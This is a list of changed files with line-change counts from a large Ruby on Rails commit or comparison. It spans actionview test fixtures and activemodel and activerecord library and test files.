-rw-r--r--actionview/test/fixtures/actionpack/test/hello_world.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/hello_world_container.builder3
-rw-r--r--actionview/test/fixtures/actionpack/test/hello_world_from_rxml.builder3
-rw-r--r--actionview/test/fixtures/actionpack/test/hello_world_with_layout_false.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/hello_world_with_partial.html.erb2
-rw-r--r--actionview/test/fixtures/actionpack/test/hello_xml_world.builder11
-rw-r--r--actionview/test/fixtures/actionpack/test/html_template.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/hyphen-ated.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/implicit_content_type.atom.builder2
-rw-r--r--actionview/test/fixtures/actionpack/test/list.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/non_erb_block_content_for.builder4
-rw-r--r--actionview/test/fixtures/actionpack/test/potential_conflicts.erb4
-rw-r--r--actionview/test/fixtures/actionpack/test/proper_block_detection.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/render_file_from_template.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/render_file_with_ivar.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/render_file_with_locals.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/render_file_with_locals_and_default.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.da.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/render_implicit_js_template_without_layout.js.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/render_partial_inside_directory.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/render_to_string_test.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/render_two_partials.html.erb2
-rw-r--r--actionview/test/fixtures/actionpack/test/using_layout_around_block.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/with_html_partial.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/with_partial.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/with_partial.text.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/with_xml_template.html.erb1
-rw-r--r--actionview/test/fixtures/customers/_customer.xml.erb1
-rw-r--r--actionview/test/fixtures/developer.rb4
-rw-r--r--actionview/test/fixtures/digestor/level/_recursion.html.erb1
-rw-r--r--actionview/test/fixtures/digestor/level/recursion.html.erb1
-rw-r--r--actionview/test/fixtures/digestor/messages/new.html+iphone.erb15
-rw-r--r--actionview/test/fixtures/helpers/abc_helper.rb3
-rw-r--r--actionview/test/fixtures/helpers/helpery_test_helper.rb (renamed from actionpack/test/fixtures/helpers/helpery_test_helper.rb)0
-rw-r--r--actionview/test/fixtures/helpers_missing/invalid_require_helper.rb5
-rw-r--r--actionview/test/fixtures/override/test/hello_world.erb (renamed from actionpack/test/fixtures/override/test/hello_world.erb)0
-rw-r--r--actionview/test/fixtures/override2/layouts/test/sub.erb (renamed from actionpack/test/fixtures/override2/layouts/test/sub.erb)0
-rw-r--r--actionview/test/fixtures/test/hello_world.html+phone.erb1
-rw-r--r--actionview/test/fixtures/test/hello_world.text+phone.erb1
-rw-r--r--actionview/test/lib/controller/fake_controllers.rb35
-rw-r--r--actionview/test/template/asset_tag_helper_test.rb24
-rw-r--r--actionview/test/template/date_helper_test.rb38
-rw-r--r--actionview/test/template/dependency_tracker_test.rb114
-rw-r--r--actionview/test/template/digestor_test.rb138
-rw-r--r--actionview/test/template/erb_util_test.rb48
-rw-r--r--actionview/test/template/form_collections_helper_test.rb117
-rw-r--r--actionview/test/template/form_helper_test.rb312
-rw-r--r--actionview/test/template/form_options_helper_test.rb66
-rw-r--r--actionview/test/template/form_tag_helper_test.rb33
-rw-r--r--actionview/test/template/html_test.rb17
-rw-r--r--actionview/test/template/javascript_helper_test.rb7
-rw-r--r--actionview/test/template/lookup_context_test.rb27
-rw-r--r--actionview/test/template/number_helper_test.rb45
-rw-r--r--actionview/test/template/render_test.rb23
-rw-r--r--actionview/test/template/resolver_patterns_test.rb2
-rw-r--r--actionview/test/template/tag_helper_test.rb4
-rw-r--r--actionview/test/template/template_error_test.rb7
-rw-r--r--actionview/test/template/test_test.rb16
-rw-r--r--actionview/test/template/testing/fixture_resolver_test.rb4
-rw-r--r--actionview/test/template/text_helper_test.rb22
-rw-r--r--actionview/test/template/text_test.rb17
-rw-r--r--actionview/test/template/translation_helper_test.rb18
-rw-r--r--actionview/test/template/url_helper_test.rb82
-rw-r--r--actionview/test/tmp/.gitkeep0
-rw-r--r--activemodel/CHANGELOG.md21
-rw-r--r--activemodel/MIT-LICENSE2
-rw-r--r--activemodel/README.rdoc83
-rw-r--r--activemodel/Rakefile3
-rw-r--r--activemodel/activemodel.gemspec4
-rw-r--r--activemodel/examples/validations.rb3
-rw-r--r--activemodel/lib/active_model.rb7
-rw-r--r--activemodel/lib/active_model/attribute_methods.rb45
-rw-r--r--activemodel/lib/active_model/callbacks.rb2
-rw-r--r--activemodel/lib/active_model/conversion.rb10
-rw-r--r--activemodel/lib/active_model/dirty.rb50
-rw-r--r--activemodel/lib/active_model/errors.rb55
-rw-r--r--activemodel/lib/active_model/gem_version.rb15
-rw-r--r--activemodel/lib/active_model/lint.rb2
-rw-r--r--activemodel/lib/active_model/locale/en.yml12
-rw-r--r--activemodel/lib/active_model/model.rb2
-rw-r--r--activemodel/lib/active_model/naming.rb12
-rw-r--r--activemodel/lib/active_model/secure_password.rb33
-rw-r--r--activemodel/lib/active_model/serialization.rb2
-rw-r--r--activemodel/lib/active_model/serializers/json.rb2
-rw-r--r--activemodel/lib/active_model/serializers/xml.rb4
-rw-r--r--activemodel/lib/active_model/validations.rb26
-rw-r--r--activemodel/lib/active_model/validations/absence.rb2
-rw-r--r--activemodel/lib/active_model/validations/acceptance.rb6
-rw-r--r--activemodel/lib/active_model/validations/callbacks.rb6
-rw-r--r--activemodel/lib/active_model/validations/clusivity.rb35
-rw-r--r--activemodel/lib/active_model/validations/confirmation.rb2
-rw-r--r--activemodel/lib/active_model/validations/exclusion.rb6
-rw-r--r--activemodel/lib/active_model/validations/format.rb38
-rw-r--r--activemodel/lib/active_model/validations/inclusion.rb9
-rw-r--r--activemodel/lib/active_model/validations/length.rb2
-rw-r--r--activemodel/lib/active_model/validations/numericality.rb34
-rw-r--r--activemodel/lib/active_model/validations/presence.rb2
-rw-r--r--activemodel/lib/active_model/validations/validates.rb6
-rw-r--r--activemodel/lib/active_model/validations/with.rb4
-rw-r--r--activemodel/lib/active_model/validator.rb6
-rw-r--r--activemodel/lib/active_model/version.rb11
-rw-r--r--activemodel/test/cases/attribute_methods_test.rb76
-rw-r--r--activemodel/test/cases/conversion_test.rb10
-rw-r--r--activemodel/test/cases/dirty_test.rb57
-rw-r--r--activemodel/test/cases/errors_test.rb80
-rw-r--r--activemodel/test/cases/helper.rb3
-rw-r--r--activemodel/test/cases/railtie_test.rb2
-rw-r--r--activemodel/test/cases/secure_password_test.rb191
-rw-r--r--activemodel/test/cases/serializers/json_serialization_test.rb56
-rw-r--r--activemodel/test/cases/serializers/xml_serialization_test.rb81
-rw-r--r--activemodel/test/cases/translation_test.rb4
-rw-r--r--activemodel/test/cases/validations/absence_validation_test.rb6
-rw-r--r--activemodel/test/cases/validations/acceptance_validation_test.rb4
-rw-r--r--activemodel/test/cases/validations/conditional_validation_test.rb16
-rw-r--r--activemodel/test/cases/validations/confirmation_validation_test.rb39
-rw-r--r--activemodel/test/cases/validations/exclusion_validation_test.rb6
-rw-r--r--activemodel/test/cases/validations/format_validation_test.rb8
-rw-r--r--activemodel/test/cases/validations/i18n_generate_message_validation_test.rb20
-rw-r--r--activemodel/test/cases/validations/i18n_validation_test.rb5
-rw-r--r--activemodel/test/cases/validations/inclusion_validation_test.rb28
-rw-r--r--activemodel/test/cases/validations/length_validation_test.rb4
-rw-r--r--activemodel/test/cases/validations/numericality_validation_test.rb6
-rw-r--r--activemodel/test/cases/validations/presence_validation_test.rb6
-rw-r--r--activemodel/test/cases/validations/validates_test.rb6
-rw-r--r--activemodel/test/cases/validations/validations_context_test.rb17
-rw-r--r--activemodel/test/cases/validations/with_validation_test.rb3
-rw-r--r--activemodel/test/cases/validations_test.rb23
-rw-r--r--activemodel/test/models/administrator.rb11
-rw-r--r--activemodel/test/models/automobile.rb3
-rw-r--r--activemodel/test/models/oauthed_user.rb11
-rw-r--r--activemodel/test/models/topic.rb2
-rw-r--r--activemodel/test/models/user.rb2
-rw-r--r--activerecord/CHANGELOG.md526
-rw-r--r--activerecord/MIT-LICENSE2
-rw-r--r--activerecord/RUNNING_UNIT_TESTS.rdoc1
-rw-r--r--activerecord/Rakefile18
-rw-r--r--activerecord/activerecord.gemspec2
-rw-r--r--activerecord/examples/performance.rb16
-rw-r--r--activerecord/lib/active_record.rb9
-rw-r--r--activerecord/lib/active_record/aggregations.rb3
-rw-r--r--activerecord/lib/active_record/association_relation.rb4
-rw-r--r--activerecord/lib/active_record/associations.rb112
-rw-r--r--activerecord/lib/active_record/associations/alias_tracker.rb68
-rw-r--r--activerecord/lib/active_record/associations/association.rb34
-rw-r--r--activerecord/lib/active_record/associations/association_scope.rb159
-rw-r--r--activerecord/lib/active_record/associations/belongs_to_association.rb69
-rw-r--r--activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb7
-rw-r--r--activerecord/lib/active_record/associations/builder/association.rb124
-rw-r--r--activerecord/lib/active_record/associations/builder/belongs_to.rb79
-rw-r--r--activerecord/lib/active_record/associations/builder/collection_association.rb92
-rw-r--r--activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb132
-rw-r--r--activerecord/lib/active_record/associations/builder/has_many.rb6
-rw-r--r--activerecord/lib/active_record/associations/builder/has_one.rb12
-rw-r--r--activerecord/lib/active_record/associations/builder/singular_association.rb15
-rw-r--r--activerecord/lib/active_record/associations/collection_association.rb242
-rw-r--r--activerecord/lib/active_record/associations/collection_proxy.rb90
-rw-r--r--activerecord/lib/active_record/associations/has_and_belongs_to_many_association.rb65
-rw-r--r--activerecord/lib/active_record/associations/has_many_association.rb25
-rw-r--r--activerecord/lib/active_record/associations/has_many_through_association.rb31
-rw-r--r--activerecord/lib/active_record/associations/has_one_association.rb12
-rw-r--r--activerecord/lib/active_record/associations/join_dependency.rb378
-rw-r--r--activerecord/lib/active_record/associations/join_dependency/join_association.rb161
-rw-r--r--activerecord/lib/active_record/associations/join_dependency/join_base.rb14
-rw-r--r--activerecord/lib/active_record/associations/join_dependency/join_part.rb62
-rw-r--r--activerecord/lib/active_record/associations/join_helper.rb45
-rw-r--r--activerecord/lib/active_record/associations/preloader.rb108
-rw-r--r--activerecord/lib/active_record/associations/preloader/association.rb71
-rw-r--r--activerecord/lib/active_record/associations/preloader/collection_association.rb4
-rw-r--r--activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb60
-rw-r--r--activerecord/lib/active_record/associations/preloader/has_many_through.rb2
-rw-r--r--activerecord/lib/active_record/associations/preloader/singular_association.rb6
-rw-r--r--activerecord/lib/active_record/associations/preloader/through_association.rb84
-rw-r--r--activerecord/lib/active_record/associations/singular_association.rb26
-rw-r--r--activerecord/lib/active_record/associations/through_association.rb8
-rw-r--r--activerecord/lib/active_record/attribute_assignment.rb3
-rw-r--r--activerecord/lib/active_record/attribute_methods.rb155
-rw-r--r--activerecord/lib/active_record/attribute_methods/dirty.rb61
-rw-r--r--activerecord/lib/active_record/attribute_methods/read.rb95
-rw-r--r--activerecord/lib/active_record/attribute_methods/serialization.rb46
-rw-r--r--activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb2
-rw-r--r--activerecord/lib/active_record/attribute_methods/write.rb49
-rw-r--r--activerecord/lib/active_record/autosave_association.rb425
-rw-r--r--activerecord/lib/active_record/base.rb10
-rw-r--r--activerecord/lib/active_record/callbacks.rb13
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb70
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb61
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb26
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/quoting.rb6
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb21
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb90
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb10
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb140
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract/transaction.rb4
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract_adapter.rb230
-rw-r--r--activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb159
-rw-r--r--activerecord/lib/active_record/connection_adapters/column.rb83
-rw-r--r--activerecord/lib/active_record/connection_adapters/connection_specification.rb260
-rw-r--r--activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb27
-rw-r--r--activerecord/lib/active_record/connection_adapters/mysql_adapter.rb53
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb42
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/cast.rb42
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/column.rb158
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb71
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/oid.rb229
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb46
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb36
-rw-r--r--activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb430
-rw-r--r--activerecord/lib/active_record/connection_adapters/schema_cache.rb37
-rw-r--r--activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb161
-rw-r--r--activerecord/lib/active_record/connection_handling.rb44
-rw-r--r--activerecord/lib/active_record/core.rb185
-rw-r--r--activerecord/lib/active_record/counter_cache.rb61
-rw-r--r--activerecord/lib/active_record/dynamic_matchers.rb19
-rw-r--r--activerecord/lib/active_record/enum.rb199
-rw-r--r--activerecord/lib/active_record/errors.rb6
-rw-r--r--activerecord/lib/active_record/fixture_set/file.rb3
-rw-r--r--activerecord/lib/active_record/fixtures.rb247
-rw-r--r--activerecord/lib/active_record/gem_version.rb15
-rw-r--r--activerecord/lib/active_record/inheritance.rb40
-rw-r--r--activerecord/lib/active_record/integration.rb55
-rw-r--r--activerecord/lib/active_record/locking/optimistic.rb11
-rw-r--r--activerecord/lib/active_record/locking/pessimistic.rb6
-rw-r--r--activerecord/lib/active_record/log_subscriber.rb17
-rw-r--r--activerecord/lib/active_record/migration.rb134
-rw-r--r--activerecord/lib/active_record/migration/command_recorder.rb27
-rw-r--r--activerecord/lib/active_record/model_schema.rb65
-rw-r--r--activerecord/lib/active_record/nested_attributes.rb20
-rw-r--r--activerecord/lib/active_record/no_touching.rb52
-rw-r--r--activerecord/lib/active_record/null_relation.rb16
-rw-r--r--activerecord/lib/active_record/persistence.rb73
-rw-r--r--activerecord/lib/active_record/querying.rb3
-rw-r--r--activerecord/lib/active_record/railtie.rb75
-rw-r--r--activerecord/lib/active_record/railties/databases.rake82
-rw-r--r--activerecord/lib/active_record/reflection.rb130
-rw-r--r--activerecord/lib/active_record/relation.rb135
-rw-r--r--activerecord/lib/active_record/relation/batches.rb37
-rw-r--r--activerecord/lib/active_record/relation/calculations.rb92
-rw-r--r--activerecord/lib/active_record/relation/delegation.rb93
-rw-r--r--activerecord/lib/active_record/relation/finder_methods.rb224
-rw-r--r--activerecord/lib/active_record/relation/merger.rb45
-rw-r--r--activerecord/lib/active_record/relation/predicate_builder.rb106
-rw-r--r--activerecord/lib/active_record/relation/predicate_builder/array_handler.rb29
-rw-r--r--activerecord/lib/active_record/relation/predicate_builder/relation_handler.rb13
-rw-r--r--activerecord/lib/active_record/relation/query_methods.rb352
-rw-r--r--activerecord/lib/active_record/relation/spawn_methods.rb6
-rw-r--r--activerecord/lib/active_record/result.rb63
-rw-r--r--activerecord/lib/active_record/runtime_registry.rb5
-rw-r--r--activerecord/lib/active_record/sanitization.rb40
-rw-r--r--activerecord/lib/active_record/schema_dumper.rb22
-rw-r--r--activerecord/lib/active_record/schema_migration.rb4
-rw-r--r--activerecord/lib/active_record/scoping.rb5
-rw-r--r--activerecord/lib/active_record/scoping/default.rb32
-rw-r--r--activerecord/lib/active_record/scoping/named.rb43
-rw-r--r--activerecord/lib/active_record/statement_cache.rb84
-rw-r--r--activerecord/lib/active_record/store.rb68
-rw-r--r--activerecord/lib/active_record/tasks/database_tasks.rb73
-rw-r--r--activerecord/lib/active_record/tasks/mysql_database_tasks.rb3
-rw-r--r--activerecord/lib/active_record/tasks/postgresql_database_tasks.rb2
-rw-r--r--activerecord/lib/active_record/tasks/sqlite_database_tasks.rb2
-rw-r--r--activerecord/lib/active_record/test_case.rb96
-rw-r--r--activerecord/lib/active_record/timestamp.rb12
-rw-r--r--activerecord/lib/active_record/transactions.rb26
-rw-r--r--activerecord/lib/active_record/validations.rb4
-rw-r--r--activerecord/lib/active_record/validations/presence.rb2
-rw-r--r--activerecord/lib/active_record/validations/uniqueness.rb32
-rw-r--r--activerecord/lib/active_record/version.rb11
-rw-r--r--activerecord/lib/rails/generators/active_record.rb10
-rw-r--r--activerecord/lib/rails/generators/active_record/migration.rb18
-rw-r--r--activerecord/lib/rails/generators/active_record/migration/migration_generator.rb10
-rw-r--r--activerecord/test/cases/adapter_test.rb84
-rw-r--r--activerecord/test/cases/adapters/firebird/connection_test.rb8
-rw-r--r--activerecord/test/cases/adapters/firebird/default_test.rb16
-rw-r--r--activerecord/test/cases/adapters/firebird/migration_test.rb124
-rw-r--r--activerecord/test/cases/adapters/mysql/active_schema_test.rb26
-rw-r--r--activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb24
-rw-r--r--activerecord/test/cases/adapters/mysql/connection_test.rb116
-rw-r--r--activerecord/test/cases/adapters/mysql/mysql_adapter_test.rb128
-rw-r--r--activerecord/test/cases/adapters/mysql/reserved_word_test.rb4
-rw-r--r--activerecord/test/cases/adapters/mysql/statement_pool_test.rb24
-rw-r--r--activerecord/test/cases/adapters/mysql2/active_schema_test.rb26
-rw-r--r--activerecord/test/cases/adapters/mysql2/boolean_test.rb91
-rw-r--r--activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb24
-rw-r--r--activerecord/test/cases/adapters/mysql2/connection_test.rb50
-rw-r--r--activerecord/test/cases/adapters/mysql2/explain_test.rb12
-rw-r--r--activerecord/test/cases/adapters/mysql2/reserved_word_test.rb4
-rw-r--r--activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb25
-rw-r--r--activerecord/test/cases/adapters/mysql2/schema_test.rb9
-rw-r--r--activerecord/test/cases/adapters/oracle/synonym_test.rb17
-rw-r--r--activerecord/test/cases/adapters/postgresql/active_schema_test.rb2
-rw-r--r--activerecord/test/cases/adapters/postgresql/array_test.rb128
-rw-r--r--activerecord/test/cases/adapters/postgresql/bytea_test.rb25
-rw-r--r--activerecord/test/cases/adapters/postgresql/citext_test.rb80
-rw-r--r--activerecord/test/cases/adapters/postgresql/composite_test.rb53
-rw-r--r--activerecord/test/cases/adapters/postgresql/connection_test.rb102
-rw-r--r--activerecord/test/cases/adapters/postgresql/datatype_test.rb416
-rw-r--r--activerecord/test/cases/adapters/postgresql/domain_test.rb50
-rw-r--r--activerecord/test/cases/adapters/postgresql/enum_test.rb76
-rw-r--r--activerecord/test/cases/adapters/postgresql/explain_test.rb6
-rw-r--r--activerecord/test/cases/adapters/postgresql/hstore_test.rb368
-rw-r--r--activerecord/test/cases/adapters/postgresql/json_test.rb69
-rw-r--r--activerecord/test/cases/adapters/postgresql/ltree_test.rb12
-rw-r--r--activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb323
-rw-r--r--activerecord/test/cases/adapters/postgresql/quoting_test.rb21
-rw-r--r--activerecord/test/cases/adapters/postgresql/range_test.rb308
-rw-r--r--activerecord/test/cases/adapters/postgresql/schema_authorization_test.rb2
-rw-r--r--activerecord/test/cases/adapters/postgresql/schema_test.rb53
-rw-r--r--activerecord/test/cases/adapters/postgresql/statement_pool_test.rb56
-rw-r--r--activerecord/test/cases/adapters/postgresql/timestamp_test.rb14
-rw-r--r--activerecord/test/cases/adapters/postgresql/uuid_test.rb215
-rw-r--r--activerecord/test/cases/adapters/postgresql/view_test.rb32
-rw-r--r--activerecord/test/cases/adapters/postgresql/xml_test.rb38
-rw-r--r--activerecord/test/cases/adapters/sqlite3/copy_table_test.rb2
-rw-r--r--activerecord/test/cases/adapters/sqlite3/explain_test.rb6
-rw-r--r--activerecord/test/cases/adapters/sqlite3/quoting_test.rb7
-rw-r--r--activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb430
-rw-r--r--activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb21
-rw-r--r--activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb23
-rw-r--r--activerecord/test/cases/ar_schema_test.rb2
-rw-r--r--activerecord/test/cases/associations/association_scope_test.rb10
-rw-r--r--activerecord/test/cases/associations/belongs_to_associations_test.rb154
-rw-r--r--activerecord/test/cases/associations/callbacks_test.rb27
-rw-r--r--activerecord/test/cases/associations/cascaded_eager_loading_test.rb21
-rw-r--r--activerecord/test/cases/associations/eager_load_nested_include_test.rb4
-rw-r--r--activerecord/test/cases/associations/eager_singularization_test.rb203
-rw-r--r--activerecord/test/cases/associations/eager_test.rb96
-rw-r--r--activerecord/test/cases/associations/extension_test.rb13
-rw-r--r--activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb161
-rw-r--r--activerecord/test/cases/associations/has_many_associations_test.rb528
-rw-r--r--activerecord/test/cases/associations/has_many_through_associations_test.rb233
-rw-r--r--activerecord/test/cases/associations/has_one_associations_test.rb72
-rw-r--r--activerecord/test/cases/associations/has_one_through_associations_test.rb11
-rw-r--r--activerecord/test/cases/associations/inner_join_association_test.rb16
-rw-r--r--activerecord/test/cases/associations/inverse_associations_test.rb41
-rw-r--r--activerecord/test/cases/associations/join_dependency_test.rb8
-rw-r--r--activerecord/test/cases/associations/nested_through_associations_test.rb13
-rw-r--r--activerecord/test/cases/associations_test.rb13
-rw-r--r--activerecord/test/cases/attribute_methods/read_test.rb11
-rw-r--r--activerecord/test/cases/attribute_methods_test.rb125
-rw-r--r--activerecord/test/cases/autosave_association_test.rb127
-rw-r--r--activerecord/test/cases/base_test.rb262
-rw-r--r--activerecord/test/cases/batches_test.rb51
-rw-r--r--activerecord/test/cases/bind_parameter_test.rb85
-rw-r--r--activerecord/test/cases/calculations_test.rb52
-rw-r--r--activerecord/test/cases/column_definition_test.rb8
-rw-r--r--activerecord/test/cases/column_test.rb8
-rw-r--r--activerecord/test/cases/connection_adapters/abstract_adapter_test.rb62
-rw-r--r--activerecord/test/cases/connection_adapters/adapter_leasing_test.rb54
-rw-r--r--activerecord/test/cases/connection_adapters/merge_and_resolve_default_url_config_test.rb192
-rw-r--r--activerecord/test/cases/connection_management_test.rb34
-rw-r--r--activerecord/test/cases/connection_pool_test.rb33
-rw-r--r--activerecord/test/cases/connection_specification/resolver_test.rb95
-rw-r--r--activerecord/test/cases/date_time_test.rb2
-rw-r--r--activerecord/test/cases/defaults_test.rb2
-rw-r--r--activerecord/test/cases/dirty_test.rb64
-rw-r--r--activerecord/test/cases/disconnected_test.rb13
-rw-r--r--activerecord/test/cases/dup_test.rb11
-rw-r--r--activerecord/test/cases/enum_test.rb289
-rw-r--r--activerecord/test/cases/explain_subscriber_test.rb2
-rw-r--r--activerecord/test/cases/explain_test.rb8
-rw-r--r--activerecord/test/cases/finder_respond_to_test.rb10
-rw-r--r--activerecord/test/cases/finder_test.rb435
-rw-r--r--activerecord/test/cases/fixture_set/file_test.rb55
-rw-r--r--activerecord/test/cases/fixtures_test.rb103
-rw-r--r--activerecord/test/cases/forbidden_attributes_protection_test.rb5
-rw-r--r--activerecord/test/cases/helper.rb107
-rw-r--r--activerecord/test/cases/hot_compatibility_test.rb4
-rw-r--r--activerecord/test/cases/inheritance_test.rb36
-rw-r--r--activerecord/test/cases/integration_test.rb83
-rw-r--r--activerecord/test/cases/invalid_connection_test.rb4
-rw-r--r--activerecord/test/cases/invertible_migration_test.rb33
-rw-r--r--activerecord/test/cases/locking_test.rb29
-rw-r--r--activerecord/test/cases/log_subscriber_test.rb17
-rw-r--r--activerecord/test/cases/migration/change_schema_test.rb55
-rw-r--r--activerecord/test/cases/migration/change_table_test.rb4
-rw-r--r--activerecord/test/cases/migration/column_attributes_test.rb95
-rw-r--r--activerecord/test/cases/migration/column_positioning_test.rb50
-rw-r--r--activerecord/test/cases/migration/command_recorder_test.rb19
-rw-r--r--activerecord/test/cases/migration/create_join_table_test.rb3
-rw-r--r--activerecord/test/cases/migration/index_test.rb57
-rw-r--r--activerecord/test/cases/migration/logger_test.rb3
-rw-r--r--activerecord/test/cases/migration/references_index_test.rb31
-rw-r--r--activerecord/test/cases/migration/rename_table_test.rb48
-rw-r--r--activerecord/test/cases/migration_test.rb382
-rw-r--r--activerecord/test/cases/migrator_test.rb11
-rw-r--r--activerecord/test/cases/mixin_test.rb46
-rw-r--r--activerecord/test/cases/modules_test.rb3
-rw-r--r--activerecord/test/cases/multiparameter_attributes_test.rb168
-rw-r--r--activerecord/test/cases/multiple_db_test.rb2
-rw-r--r--activerecord/test/cases/nested_attributes_test.rb42
-rw-r--r--activerecord/test/cases/nested_attributes_with_callbacks_test.rb144
-rw-r--r--activerecord/test/cases/persistence_test.rb48
-rw-r--r--activerecord/test/cases/pooled_connections_test.rb18
-rw-r--r--activerecord/test/cases/primary_keys_test.rb25
-rw-r--r--activerecord/test/cases/query_cache_test.rb24
-rw-r--r--activerecord/test/cases/quoting_test.rb69
-rw-r--r--activerecord/test/cases/reaper_test.rb20
-rw-r--r--activerecord/test/cases/reflection_test.rb41
-rw-r--r--activerecord/test/cases/relation/delegation_test.rb68
-rw-r--r--activerecord/test/cases/relation/merging_test.rb141
-rw-r--r--activerecord/test/cases/relation/mutation_test.rb161
-rw-r--r--activerecord/test/cases/relation/predicate_builder_test.rb14
-rw-r--r--activerecord/test/cases/relation/where_chain_test.rb105
-rw-r--r--activerecord/test/cases/relation/where_test.rb63
-rw-r--r--activerecord/test/cases/relation_test.rb162
-rw-r--r--activerecord/test/cases/relations_test.rb416
-rw-r--r--activerecord/test/cases/result_test.rb12
-rw-r--r--activerecord/test/cases/sanitize_test.rb49
-rw-r--r--activerecord/test/cases/schema_dumper_test.rb45
-rw-r--r--activerecord/test/cases/scoping/default_scoping_test.rb108
-rw-r--r--activerecord/test/cases/scoping/named_scoping_test.rb90
-rw-r--r--activerecord/test/cases/scoping/relation_scoping_test.rb5
-rw-r--r--activerecord/test/cases/serialized_attribute_test.rb25
-rw-r--r--activerecord/test/cases/statement_cache_test.rb64
-rw-r--r--activerecord/test/cases/store_test.rb40
-rw-r--r--activerecord/test/cases/tasks/database_tasks_test.rb29
-rw-r--r--activerecord/test/cases/tasks/mysql_rake_test.rb158
-rw-r--r--activerecord/test/cases/tasks/postgresql_rake_test.rb9
-rw-r--r--activerecord/test/cases/tasks/sqlite_rake_test.rb6
-rw-r--r--activerecord/test/cases/test_case.rb115
-rw-r--r--activerecord/test/cases/timestamp_test.rb167
-rw-r--r--activerecord/test/cases/transaction_callbacks_test.rb180
-rw-r--r--activerecord/test/cases/transaction_isolation_test.rb152
-rw-r--r--activerecord/test/cases/transactions_test.rb101
-rw-r--r--activerecord/test/cases/unconnected_test.rb2
-rw-r--r--activerecord/test/cases/validations/association_validation_test.rb39
-rw-r--r--activerecord/test/cases/validations/i18n_generate_message_validation_test.rb26
-rw-r--r--activerecord/test/cases/validations/i18n_validation_test.rb2
-rw-r--r--activerecord/test/cases/validations/length_validation_test.rb47
-rw-r--r--activerecord/test/cases/validations/presence_validation_test.rb16
-rw-r--r--activerecord/test/cases/validations/uniqueness_validation_test.rb45
-rw-r--r--activerecord/test/cases/validations_test.rb25
-rw-r--r--activerecord/test/cases/xml_serialization_test.rb21
-rw-r--r--activerecord/test/cases/yaml_serialization_test.rb18
l---------activerecord/test/fixtures/all/admin1
-rw-r--r--activerecord/test/fixtures/companies.yml8
-rw-r--r--activerecord/test/fixtures/computers.yml1
-rw-r--r--activerecord/test/fixtures/owners.yml1
-rw-r--r--activerecord/test/fixtures/pirates.yml3
-rw-r--r--activerecord/test/fixtures/sponsors.yml2
-rw-r--r--activerecord/test/fixtures/tasks.yml2
-rw-r--r--activerecord/test/fixtures/to_be_linked/accounts.yml2
-rw-r--r--activerecord/test/fixtures/to_be_linked/users.yml10
-rw-r--r--activerecord/test/fixtures/topics.yml7
-rw-r--r--activerecord/test/fixtures/uuid_children.yml3
-rw-r--r--activerecord/test/fixtures/uuid_parents.yml2
-rw-r--r--activerecord/test/migrations/version_check/20131219224947_migration_version_check.rb8
-rw-r--r--activerecord/test/models/admin/user.rb1
-rw-r--r--activerecord/test/models/author.rb16
-rw-r--r--activerecord/test/models/auto_id.rb4
-rw-r--r--activerecord/test/models/book.rb13
-rw-r--r--activerecord/test/models/bulb.rb12
-rw-r--r--activerecord/test/models/cake_designer.rb3
-rw-r--r--activerecord/test/models/car.rb7
-rw-r--r--activerecord/test/models/category.rb1
-rw-r--r--activerecord/test/models/chef.rb3
-rw-r--r--activerecord/test/models/citation.rb3
-rw-r--r--activerecord/test/models/club.rb3
-rw-r--r--activerecord/test/models/college.rb5
-rw-r--r--activerecord/test/models/column.rb3
-rw-r--r--activerecord/test/models/column_name.rb4
